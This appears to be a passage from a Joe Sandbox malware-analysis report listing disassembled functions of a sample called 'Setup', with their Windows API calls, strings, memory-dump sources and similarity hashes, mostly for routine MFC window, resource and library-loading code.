Function 00B8593E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,00000000,?,?), ref: 00B85967
GetProcAddress.KERNEL32(00000000,AfxmReleaseManagedReferences), ref: 00B85977

Strings

AfxmReleaseManagedReferences, xrefs: 00B85971
mfcm140u.dll, xrefs: 00B8595A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: AfxmReleaseManagedReferences$mfcm140u.dll
API String ID: 1646373207-1124768495
Opcode ID: a5cb199fb7db6d9720b89b4562f814188f66056694edd092286e42b34f4040d1
Instruction ID: 486256eccbafd76de2041da1e9e9590922187760819a700485708073101cc1f1
Opcode Fuzzy Hash: a5cb199fb7db6d9720b89b4562f814188f66056694edd092286e42b34f4040d1
Instruction Fuzzy Hash: 26F09671A0261CEBCB14EB65AC84EAFBBA8FB487147000167E901E7250CE749D05C7A0

Function 00B91BC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00B91BDF
GetProcAddress.KERNEL32(00000000,GetFileAttributesTransactedW), ref: 00B91BEF

Strings

kernel32.dll, xrefs: 00B91BDA
GetFileAttributesTransactedW, xrefs: 00B91BE9

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetFileAttributesTransactedW$kernel32.dll
API String ID: 1646373207-1378992308
Opcode ID: 4405195f339326b297152b0cba004ca898d5f0a586964ea75c14008da4b35420
Instruction ID: 92b8b527da33b4890ad0df4cc9c4c517a5702fd09d7091492c2ae9fec2a48c76
Opcode Fuzzy Hash: 4405195f339326b297152b0cba004ca898d5f0a586964ea75c14008da4b35420
Instruction Fuzzy Hash: 0FF09031286746EFDF211F9C9D88BA9BBE8EB08316F004C7BE60185160C7B1CC50FA51

Function 00B63EA0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 00B63EB0
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 00B63EC0

Strings

RegOpenKeyTransactedW, xrefs: 00B63EBA
Advapi32.dll, xrefs: 00B63EAB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 1646373207-3913318428
Opcode ID: 2cae88f89ea31c88f650163ba0733aabc701ac1667494a4f898aa8fc2c2f7d77
Instruction ID: a74c9ef936ec5e61869e3f72b2f02ac03ea63f9809844e439916d82c2d89d3f8
Opcode Fuzzy Hash: 2cae88f89ea31c88f650163ba0733aabc701ac1667494a4f898aa8fc2c2f7d77
Instruction Fuzzy Hash: BAF05432200259ABDB215F95EC05B967BD5EB04B51F00C06BF944914A0CBBBC960EB71

Function 00C34936 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00C34960

Part of subcall function 00B67DBF: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B67DD1

GetFileAttributesW.KERNEL32(00000104,00000000,00000104,00000104,00000000,000000FF), ref: 00C3496B
GetTempFileNameW.KERNEL32(000000FF,00000000,00000000,00000104,?,?,00BB6CEB,?,AFX,00000000,00000104,00000104,00000000,000000FF), ref: 00C34983

Strings

%s%s%X.tmp, xrefs: 00C34955

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: File$AttributesNameTemp__vswprintf_c_lswprintf
String ID: %s%s%X.tmp
API String ID: 3497632062-596088238
Opcode ID: 9dd82213c759447cbc24dbaa3f069a0049e20d9cf36142813339ef8c1d51d1f8
Instruction ID: 7d8153e381439d96f34df8db658279561686e537546b62442158cecf73ab86d0
Opcode Fuzzy Hash: 9dd82213c759447cbc24dbaa3f069a0049e20d9cf36142813339ef8c1d51d1f8
Instruction Fuzzy Hash: 62F0F876451249BBCF029FA0DC06BDE3BBABF14369F108550FA20A50B1D776DA20AB51

Function 00BAA7B6 Relevance: 6.3, APIs: 4, Instructions: 339keyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00B754E4: GetWindowLongW.USER32(?,000000EC), ref: 00B754F1

GetClientRect.USER32(?,?), ref: 00BAA906
GetAsyncKeyState.USER32(00000011), ref: 00BAA9DB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AsyncClientLongRectStateWindow
String ID:
API String ID: 304971295-0
Opcode ID: 9c5cd2b2650f9f16f18117b7c7143b969ef7548ed7b6c791490cb0c3c81bcd47
Instruction ID: 4abbf695591afd7bcbbebf45461e67cb68fc91b758d7caf8165d2da092d6f4a9
Opcode Fuzzy Hash: 9c5cd2b2650f9f16f18117b7c7143b969ef7548ed7b6c791490cb0c3c81bcd47
Instruction Fuzzy Hash: 2DC18234B096159FCF15AF64C894BBD7BE2EF4A310F0401BAD9069B391CB74AD45CBA2

Function 00CB9AF9 Relevance: 6.3, APIs: 4, Instructions: 321COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00CB9B80

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 2b0932ff66d727feed314d818e12934d141147f7f42c0bc24cf8b9cb8ec7b29c
Instruction ID: 8207c2afe16ead63869b42899f13bf5ae191c4769cdcd7dfd5538bd2eab2ca01
Opcode Fuzzy Hash: 2b0932ff66d727feed314d818e12934d141147f7f42c0bc24cf8b9cb8ec7b29c
Instruction Fuzzy Hash: CEB156329002959FDB25CF39C891BFEBBF5EF56300F2481AAEA55DB241D6348E41CB60

Function 00BD1F03 Relevance: 6.3, APIs: 4, Instructions: 286keyboardCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 00BD1F31
GetKeyState.USER32(00000011), ref: 00BD1F39
IsRectEmpty.USER32(?), ref: 00BD1FA2
GetWindowRect.USER32(?,?), ref: 00BD2174

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Empty$StateWindow
String ID:
API String ID: 2684165152-0
Opcode ID: daac7e0e02049e67b66cbbddb04c3e8c1e99a1f8b4f96456d626e4497ce3c68a
Instruction ID: c1ef3ff6a5384e6fa7ee1fab4c9329a297dd383e6b67330854c08b758499a57c
Opcode Fuzzy Hash: daac7e0e02049e67b66cbbddb04c3e8c1e99a1f8b4f96456d626e4497ce3c68a
Instruction Fuzzy Hash: A9A18E31A00655AFCF19DFA4D895BAEBBF5FF48310F1440AAE915A7380DB31AD41CB61

Function 00B9CC46 Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,00000000,000000F1), ref: 00B9CC71
LoadResource.KERNEL32(?,00000000), ref: 00B9CC81
LockResource.KERNEL32(00000000), ref: 00B9CC93
FreeResource.KERNEL32(?), ref: 00B9CE82

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 9967bf0c9d2017fe3c6a30fcd049e8e42a412ea9fae813c5a05986c8e2adfa6a
Instruction ID: 4c3461958db6db3d57b843ca51c82e7388063c5e1c66886ee7209827aa0e5dbd
Opcode Fuzzy Hash: 9967bf0c9d2017fe3c6a30fcd049e8e42a412ea9fae813c5a05986c8e2adfa6a
Instruction Fuzzy Hash: 737160B1A0060AEBDF049FA4C9457BEBFF5FF48350F2440B9E906A6251EB359D41DBA0

Function 00BACC04 Relevance: 6.2, APIs: 4, Instructions: 197COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BACC5D
InflateRect.USER32(?,00000000,00000000), ref: 00BACC93
GetSystemMetrics.USER32(00000002), ref: 00BACD1A

Part of subcall function 00B73133: SetScrollInfo.USER32(?,?,?,?), ref: 00B73177

EnableScrollBar.USER32(?,00000002,00000000), ref: 00BACE38

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: RectScroll$ClientEnableInflateInfoMetricsSystem
String ID:
API String ID: 2150874537-0
Opcode ID: f38972ce86cf875dbef602ea5b4df081caeb8a8bf4ba55902bba75b0101027a4
Instruction ID: c15fb8631d9e09d6fe6f3769b197f9a2915c1d72a4abf88742b6d876234a8473
Opcode Fuzzy Hash: f38972ce86cf875dbef602ea5b4df081caeb8a8bf4ba55902bba75b0101027a4
Instruction Fuzzy Hash: DD713F71A00619DFCB14CFA8C984AEDBBF5FF49310F1401BAE909AB255DB716E41CB91

Function 00BEA985 Relevance: 6.2, APIs: 4, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BEA98C
LoadImageW.USER32(?,00000000,00000000,00000000,00000000,00002000), ref: 00BEAB2F
GetObjectW.GDI32(00000000,00000018,?), ref: 00BEAB41
DeleteObject.GDI32(00000000), ref: 00BEAB99

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Object$DeleteH_prolog3ImageLoad
String ID:
API String ID: 91933946-0
Opcode ID: 9a6708b138fb06951be7beb0d0a003dac586c5b4c21f2c743481dfc75732cd26
Instruction ID: d7e343ba8197d5e3baf7969eb808b214d20fc73b06fb358464cbb5032ac817ce
Opcode Fuzzy Hash: 9a6708b138fb06951be7beb0d0a003dac586c5b4c21f2c743481dfc75732cd26
Instruction Fuzzy Hash: 0D719A708002558BCF15EF65C984BAEBBF9EF09310F1441BAEC196B286CB35A945CBA1

Function 00C531FC Relevance: 6.2, APIs: 4, Instructions: 164COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C5322C
SetRectEmpty.USER32(?), ref: 00C532EB
SetRect.USER32(?,000000FF,?,?), ref: 00C53322
CopyRect.USER32(?,?), ref: 00C5335B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$CopyEmptyWindow
String ID:
API String ID: 2176940440-0
Opcode ID: 4cf7f23d4b41231f384974aedf4b2d408648a2c64e45615d48572610c436b91b
Instruction ID: 6f02d1a459c463455dbf58e221f26f5f2da61933748e1675cff812ec1dcba6cc
Opcode Fuzzy Hash: 4cf7f23d4b41231f384974aedf4b2d408648a2c64e45615d48572610c436b91b
Instruction Fuzzy Hash: AC5124B5D00209AFCB10DFA9C9849EEFBF9EF84341F14416AE815A7211DB70AE49CF65

Function 00B66775 Relevance: 6.1, APIs: 4, Instructions: 149COMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00B66837
SetWindowContextHelpId.USER32(00000000,?), ref: 00B668A0
GetParent.USER32(00000000), ref: 00B668A9

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$ContextHelpParent
String ID:
API String ID: 2037418093-0
Opcode ID: 2194966a6b4f858fe22e3be423c2b1b089f544ad468312a4fe1b428337308924
Instruction ID: 11665e7ffdf06f80ad8327bda45bd8a1bdbafb956eabad08222f16f85bcc62e1
Opcode Fuzzy Hash: 2194966a6b4f858fe22e3be423c2b1b089f544ad468312a4fe1b428337308924
Instruction Fuzzy Hash: AC515E75E01219EFDF14DFA8C9406AEB7F5FF58710F2581AAD815A3284E7389E41CB50

Function 00BA9E23 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 00BA9EF8
SetRectEmpty.USER32(?), ref: 00BA9F05
SetRectEmpty.USER32(?), ref: 00BA9FC3
SetRectEmpty.USER32 ref: 00BAA022

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
